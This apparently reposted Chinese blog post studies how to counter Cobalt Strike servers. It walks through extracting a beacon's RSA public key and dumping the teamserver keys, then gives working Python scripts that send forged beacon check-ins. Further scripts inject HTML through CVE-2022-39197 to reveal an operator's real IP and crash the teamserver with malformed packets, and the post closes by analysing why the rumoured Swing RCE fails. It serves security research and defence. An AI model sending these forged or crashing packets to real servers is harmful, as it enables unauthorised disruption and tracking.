从反制Cobalt Strike到CVE-2022-39197再到RCE的探索之路
2022-10-1 11:41:41 Author: 红队蓝军(查看原文) 阅读量:111 收藏

先插播一条广告,红队蓝军二期培训正在招生中,目前开设的课程有:web,内网,免杀,ctf。名额有限,到该文章发布免杀仅剩3个名额。不管你是想入门,还是想进阶学习,都欢迎前来咨询。后续会有相应的公开课,大纲等,有意的同学可关注一下,一期公开课等内容已上传至b站(账号同名)。

这一切的源头还是得从cs伪造目标上线说起,这里方法只要是伪造上线主机来增加红队的工作量,而本身上线的目标其实也并不稳定,这就导致十分恶心攻击者

Cobalt Strike上线分析

分析Cobalt Strike http上线过程,了解木马在上线时是如何将自身数据返回到teamserver上的,并去探索上线时的数据是否能被修改(中间人攻击)

公钥获取

在目标上线时,Cobalt Strike是利用的RSA非对称加密,及有两个密钥(公钥,私钥),在这里如果我们知道了数据包的格式和公钥,我们就可以伪装成受害主机,向teamserver发送虚假信息,造成一堆主机上线的假象。

生成stager载荷的可执行后门

为什么要生成stager的后门了,那是因为在该后面为了获取更多的payload会请求teamserver,让teamserver将payload传输给后门,在这个过程中会传输大量二进制数据,而这里面就包含这我们需要的公钥等信息。

利用Wireshark分析流量特征

在这里我用的VMware,为了方便这里就直接抓的虚拟网卡1的流量(与实验中的虚拟机网卡同网卡)

数据很多,我们直接追踪tcp流

可以发现其实就只是两条数据,请求与相应。我们不难发现teamserver返回了一大串的流数据,其实这就是payload,接下来就是该我们分析数据内容了

直接通过浏览器下载

利用脚本获取公钥

项目地址:https://github.com/Sentinel-One/CobaltStrikeParser

python parse_beacon_config.py --json jJ8p

获取的公钥:

"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

不过在这里需要去除多余的A

去除后:

MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQAB==

当然在这里我们就可以直接利用网上的很多脚本就行,伪造请求了,但是为了更深入的了解原理,我们继续探究如何获取数据解密后的内容以及格式

私钥获取

前面已经讲述了如何获取公钥,接下来就是分析如何获取数据包格式。当然数据包的格式都是通用的只需要在本地解密后,保存下来以后再用即可,当然这时候就需要知道私钥是如何获得的

通过.cobaltstrike.beacon_keys获取私钥

在这里直接通过一个脚本

import java.io.File;
import java.util.Base64;
import common.CommonUtils;
import java.security.KeyPair;

class DumpKeys
{
    public static void main(String[] args)
    
{
        try {
            File file = new File("C:\\Users\\naihe\\Desktop\\cs_server\\out\\artifacts\\cs_server_jar\\.cobaltstrike.beacon_keys");
            if (file.exists()) {
                KeyPair keyPair = (KeyPair)CommonUtils.readObject(file, null);
                System.out.printf("Private Key: %s\n\n"new String(Base64.getEncoder().encode(keyPair.getPrivate().getEncoded())));
                System.out.printf("Public Key: %s\n\n"new String(Base64.getEncoder().encode(keyPair.getPublic().getEncoded())));
            }
            else {

                System.out.println("Could not find .cobaltstrike.beacon_keys file");
            }
        }
        catch (Exception exception) {

            System.out.println("Could not read asymmetric keys");
        }
    }
}

当然在这里会将公钥和私钥都一并给出,但是这是我们获得.cobaltstrike.beacon_keys的前提下才可以,在实际情况下是无法获取到私钥的

获取密文

到目前为止我们已经获得了私钥和私钥,接下来就是如何获取密文

生成stagerless载荷的可执行后门

为什么我们要生成含攻击载荷的可执行后门呢?那是因为木马无需下载payload而是直接请求teamserver将自身信息发送给对方。

分析数据

可以看到含攻击载荷的可执行后门流量明显较少,多了一个Cookie,且是以get形式传输的,说明传输的数据都在cookie里,当然内容是被加密了的。接下来就是解密环节。

数据包格式获取

现在就是利用私钥将密文解密即可,在这里提供了几个在线RSA在线解密平台

https://the-x.cn/cryptography/Rsa.aspx

当然重点关注一下部分

接下来我们结合着Cobalt Strike客户端来看

可以看到解密后的部分数据其实就是回显在Cobalt Strike客户端的数据

伪造请求,产生虚假数据

在这里就是利用前面找到的公钥将数据包加密,发送即可

#!/usr/bin/env python
# coding=utf-8
import rsa
import random
import urllib.request
import base64

def run(url,pubkey):
    pack = b'\x00\x00\xBE\xEF\x00\x00\x00\x51\xC6\x21\x5B\xCD\xAE\x4A\x74\x55'
    pack += b'\x1E\xE3\x60\x94\x90\xBA\xE2\x17\xA8\x03\xA8\x03'
    pack += random.randint(0 , 65535) .to_bytes(4'big')+random.randint(0 , 65535) .to_bytes(4'big')
    pack += b'\x00\x00\x45\x80\x00\x00\x04\x36\x2E\x32\x09\x31\x39\x32\x2E\x31'
    pack += b'\x36\x38\x2E\x32\x34\x38\x2E\x31\x09\x44\x45\x53\x4B\x54\x4F\x50'
    pack += b'\x2D\x55\x54\x42\x4E\x36\x50\x41\x09\x6E\x61\x69\x68\x65\x09\x62'
    pack += b'\x65\x61\x63\x6F\x6E\x2E\x65\x78\x65'

    key = '-----BEGIN PUBLIC KEY-----\n'+pubkey+'\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(key)

    enpack = rsa.encrypt(pack, pubkey)
    header = {
        'Cookie': base64.b64encode(enpack).decode('utf-8')
    }
    request = urllib.request.Request(url, headers=header)
    reponse = urllib.request.urlopen(request).read()

if __name__ == "__main__":
    for i in range(100):
        run("http://192.168.127.130/dot.gif","MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQAB==")

效果:

分析加密数据

通过前面的分析的到的数据报的内容我们不妨试试数据包提供的接口是否存在漏洞,当然我们首先想到的就是sql,rce。但是一想到这里只是在cs客户端上显示的一传字符串,存在sql,rce的可能性就非常非常小了,到这就只剩下xss了,当然,可能有的小伙伴会说,这又不是浏览器怎么个xss?其实这样说就太那啥了,因为大家天天用的手机app ,html,js都是其中的重要组成部分,这可不能是只能浏览器才能xss。在java中有许多ui框架都是支持html,以至于它们都都有可能存在xss漏洞,而在Cobalt Strike 中 就是利用了swing这个ui框架,当然swing也是支持html的,因此如果Cobalt Strike 并未对数据进行过滤或过滤不严谨都会存在xss漏洞的产生,不过不幸的是Cobalt Strike确实存在该情况

swing介绍及使用

swing 基本使用

import javax.swing.*;

public class SwingDemo {
    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);

        JFrame frame = new JFrame("cve-2022-39197");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JLabel label = new JLabel("cve-2022-39197");
        frame.getContentPane().add(label);

        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

swing相关包

在这里我们可以看到有个javax.swing.text的包,它是支持html

import javax.swing.*;

public class SwingDemo {
    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);

        JFrame frame = new JFrame("cve-2022-39197");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JLabel label = new JLabel("<html><img src ='http://mmbiz.qpic.cn/mmbiz_png/ibZ6uZjjH3v6flNJqwg2VJrVbXvO9N2mzz6piagicPIiaCNPGH1tNA1N43RLy5bLY4PyUqNGYocicJMqrusALD0icibkg/0?wx_fmt=png'>");
        frame.getContentPane().add(label);

        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

可以看到这里是支持html代码的,不过需要标签开头

在HTMLEditorKit中可以看到貌似支持很多标签

但是经过测试发现并非所有在HTMLEditorKit中的所有标签都可以使用,比如script,下面就做一个实验来证明

import javax.swing.*;

public class SwingDemo {
    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);

        JFrame frame = new JFrame("cve-2022-39197");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JLabel label = new JLabel("<html><script>document.write('123')</script>");
        frame.getContentPane().add(label);

        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

支持情况下如果swing要解析script便签这会在ui中出现123,但测试结果如下

很明显并没有回显数据,在这里就证明了swing不支持js,只支持纯粹的html

尝试xss

可以看到这里我们可以通过控制JLabel的参数来控制页面的渲染

漏洞分析

在前面的反制红队中,我们已经讲解过了如何去产生假数据来恶新攻击者,现在我们需要做的事情就是将里面的传输换成恶意的xss代码

#!/usr/bin/env python
# coding=utf-8
import rsa
import random
import urllib.request
import base64

def run(url,pubkey):
    pack = b'\x00\x00\xBE\xEF\x00\x00\x00\x51\xC6\x21\x5B\xCD\xAE\x4A\x74\x55'
    pack += b'\x1E\xE3\x60\x94\x90\xBA\xE2\x17\xA8\x03\xA8\x03'
    pack += random.randint(0 , 65535) .to_bytes(4'big')+random.randint(0 , 65535) .to_bytes(4'big')
    pack += b'\x00\x00\x45\x80\x00\x00\x04\x36\x2E\x32\x09\x31\x39\x32\x2E\x31'
    pack += b'\x36\x38\x2E\x32\x34\x38\x2E\x31\x09\x44\x45\x53\x4B\x54\x4F\x50'
    pack += b'\x2D\x55\x54\x42\x4E\x36\x50\x41\x09'
    pack += "<html><img src =x>".encode("utf-8")
    pack += b'\x09\x62'
    pack += b'\x65\x61\x63\x6F\x6E\x2E\x65\x78\x65'

    key = '-----BEGIN PUBLIC KEY-----\n'+pubkey+'\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(key)

    enpack = rsa.encrypt(pack, pubkey)
    header = {
        'Cookie': base64.b64encode(enpack).decode('utf-8')
    }
    request = urllib.request.Request(url, headers=header)
    reponse = urllib.request.urlopen(request).read()

if __name__ == "__main__":
    for i in range(100):
        run("http://192.168.127.130/dot.gif","MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQAB==")

可以看到这里已经成功注入了html代码

漏洞分析:

BeaconEntry的toMap方法,是将teamserver发送过来的数据以map的数据结构存储并回显到客户端,由于teamserver获取的数据本来就可以被伪造修改,而在客户端中也并未对获取的数据进行过滤,导致攻击者可以注入恶意的html

利用CVE-2022-39197溯源红队

利用python开启http服务:

python -m http.server 80

在这里值得注意的是最大的长度为117,因此我们要想办法将html缩短,

#!/usr/bin/env python
# coding=utf-8
import rsa
import random
import urllib.request
import base64

def run(url,ip,Computer_name,User_name,Process_name,pubkey):
    ip = bytes(ip.encode('utf-8')) + b'\x09'
    Computer_name = bytes(Computer_name.encode('utf-8')) + b'\x09'
    User_name = bytes(User_name.encode('utf-8')) + b'\x09'
    Process_name = bytes(Process_name.encode('utf-8')) + b'\x09'

    pack = b'\xC6\x21\x5B\xCD\xAE\x4A\x74\x55\x1E\xE3\x60\x94\x90\xBA\xE2\x17'
    pack += b'\xA8\x03\xA8\x03'
    pack += random.randint(0 , 65535) .to_bytes(4'big')+random.randint(0 , 65535) .to_bytes(4'big')
    pack += b'\x00\x00\x45\x80\x00\x00\x04\x36\x2E\x32\x09'
    pack += ip
    pack += Computer_name
    pack += User_name
    pack += Process_name

    pack = b'\x00\x00\xBE\xEF' + len(pack).to_bytes(4'big') +pack
    print(pack)
    key = '-----BEGIN PUBLIC KEY-----\n'+pubkey+'\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(key)

    enpack = rsa.encrypt(pack, pubkey)
    header = {
        'Cookie': base64.b64encode(enpack).decode('utf-8')
    }
    request = urllib.request.Request(url, headers=header)

if __name__ == "__main__":
    for i in range(100):
        run("http://192.168.127.130/dot.gif","192.168.127.1","naihe_pc","<html><img src=x>","shell.exe","MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQAB==")

可以看到这里已经返访问了我们搭建的http服务,不过由于在这里我的客户端和teamserver在同一台主机上因此ip是相同的,而在实际情况中获取的ip是绕过teamserver的Cobalt Strike客户端ip,相当于攻击者主动去访问图签资源(类似于浏览器),通过这种方式就可获取真实ip地址

Cobalt Strike服务错误攻击

在这里可以利用一些非正常的ip格式来造成teamserver报错,导致Cobalt Strike客户端无法正常使用。由于Cobalt Strike对ip的格式要求是非常严格的,如果不符合格式就会导致teamserver报错从而不能正常运行,这种方式是非常恶心的,一旦被攻击,只能重启teamserver,然而beacon的连接并非十分稳定,如果通过这种方式让上线主机直接掉线,那是真的恶心。。。

#!/usr/bin/env python
# coding=utf-8
import rsa
import random
import urllib.request
import base64

def run(url,pubkey):
    pack = b'\x00\x00\xBE\xEF\x00\x00\x00\x51\xC6\x21\x5B\xCD\xAE\x4A\x74\x55'
    pack += b'\x1E\xE3\x60\x94\x90\xBA\xE2\x17\xA8\x03\xA8\x03'
    pack += random.randint(0 , 65535) .to_bytes(4'big')+random.randint(0 , 65535) .to_bytes(4'big')
    pack += b'\x00\x00\x45\x80\x00\x00\x09\x31\x39\x32\x2E\x31'
    pack += b'\x36\x38\x2E\x32\x34\x38\x2E\x31\x09\x44\x45\x53\x50'
    pack += b'\x2D\x55\x54\x42\x09'
    pack += "<html><img src =http://127.0.0.1>".encode("utf-8")
    pack += b'\x09\x62'
    pack += b'\x65\x61\x63\x6F\x6E\x2E\x65\x78\x65'

    key = '-----BEGIN PUBLIC KEY-----\n'+pubkey+'\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(key)

    enpack = rsa.encrypt(pack, pubkey)
    header = {
        'Cookie': base64.b64encode(enpack).decode('utf-8')
    }
    request = urllib.request.Request(url, headers=header)
    reponse = urllib.request.urlopen(request).read()

if __name__ == "__main__":
    for i in range(100):
        run("http://192.168.127.130/dot.gif","MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCTUlJ7J79z/MkkV8+MsYlOvREE2hhdGNzrKPFZ10lY0K5legA+um5JxESEaC0woDgSmOGrkh1giz/aQwd6tG4mihFgpi0oIbfwu6XZbE6ghYGyu2F7+A5TifRUzvU0YLXjK78EW12XhjHx4KopMF/AtOAueGwfiI2DmXwNzrBDvwIDAQAB==")

在这里只要是修改了密钥的部分格式,导致客户端解析数据异常,造成卡死,只能通过重启teamserver才能恢复,如果一直发送数据包,你懂的。。。。

正常格式如上图,通过删除这些数据,即可到达拒绝访问的效果

重启客户端也没用,只能重启teamserver

网上很多rce都是复现rce都是利用swing包进行反射调用java恶意类,从而达到一个rce效果

利用swing的rce分析

import javax.swing.*;

public class SwingDemo {

    private static void createAndShowGUI() {
        JFrame.setDefaultLookAndFeelDecorated(true);
        JFrame frame = new JFrame("qwe");
        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);

        JLabel label = new JLabel("<html><object classid='javax.swing.JLabel'><parame name='Text' value='123'>");
        frame.getContentPane().add(label);
        frame.pack();
        frame.setVisible(true);
    }

    public static void main(String[] args) {
        javax.swing.SwingUtilities.invokeLater(new Runnable() {
            public void run() {
                createAndShowGUI();
            }
        });
    }
}

可以看到这里并没有回显数据产生,说明网传rce复现可能存在问题

这里是利用网传rce的理论,通过swing调用javax.swing.JLabel中的settext方法,并回显到页面上,接下来我们分析功能点,及反射的开始与利用

在javax.swing.text.html.ObjectView中的createcomponent方法中可以明显看出存在反射调用的代码,及先通过无参构造创建对象,在利用setParameters方法调用该类的setter方法,其实重点在于这个setParameter方法是符合通过反射调用setter方法的。

进入setParameter方法,我们可以发现,我们想通过调用的类方法并非是为所欲为的,而是需要满足一定条件

可以看到在这里我们只允许调用的属性只能是如上图中的name字段中的内容

在这里有给了一个限制,那就是只能反射调用setter方法(getWriteMethod()),因此导致能利用的方面就更少了,为了方便理解这里就直接随便截一个满足条件的属性

可以看到这里存在一个setText方法,如果一切顺理的话,我们就可以通过反射回显数据在页面上了,接下来就是分析,如何构造满足条件的payload

进入getAttribute方法,直到出现return为止

在这里和后面都要要注意标记出来的参数的值

终于在这里找到了return,接下来就是分析该数据的生成

进入getLocalAttribute

接下来就根据调试查看数据的变化

通过分析可以发现,这里主要是利用键值对进行查找,界面前面的代码,标签属性为setter方法,而标签属性的值就为setter方法的参数,为了方便,在这里我将前面的代码粘贴在下方

这么一分析发现,我们添加在标签里的属性明显不过,简单的来说就是没有指明要调用那个setter方法,因此我们就可以推测出,网传的rce复现可能存在问题。接下来就是利用我们自己的payload,

接下来我们继续分析

前面的步骤直接省略因为和前面的一模一样,直接看关键部分

在这里我们乍眼一看,以为已经满足条件了,我们就可以调用test的setter方法了,但结果却让人大失所望,这里的nm为字符串类型,而tbl[0]为HTML$Attribute并非相同数据类型,导致后面的条件判断一直为false,直到这里已经就陷入瓶颈了。接下来我们回过头来看nm的生成过程,既然tbl我们改变不了,试试nm是否能改变。

确实让人很难受,这里的nm来源与props[i].getName()这个函数,而getName顾名思义,返回值必定是Sting类型,这就导致前面的条件一直不成立,从而导致在目前的分析下无法调用任何setter方法。进行寻找。。。

测试一下上面的条件试试,发现也行不通,先不说这里的resolveParent如何控制,这里的nm还必须为"resolver",导致我们只能利用"resolver"的setter方法,到最后发现"resolver"连setter方法都可以。。。。。到目前为止,直接利用swing进行反射调用java对象并不算成功,而被反射调用的类也被限定了,必须是继承自Component,这样的利用难度就更大了。

其实在分析swing进行反射调用造成rce时,其实在心里就有底了,因为swing是一个非常成熟的gui包,且被广泛应用,如果能轻易的rce的话,该漏洞危险程度至少比log4j有过之而无不及。

综上所述:从网传Cobalt Strike rce复现文章目前来看,通过swing想进行rce的可能性较小,只能执行html代码,本质上是个xss,危害有限。

前面分析说过由于teamserver接收的数据可能被修改,造假,而Cobalt Strike客户端对从teamserver中获取的数据并未进行严格过滤,导致存在xss漏洞

html实体编码


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247503700&idx=1&sn=2b8bdd154c1c796523a1c629748a9f1f&chksm=ce6775e8f910fcfe58e03d5a287af3fa6b69f1e9a1f4dc7ee719195ad30dac615455367d88b7#rd
如有侵权请联系:admin#unsafe.sh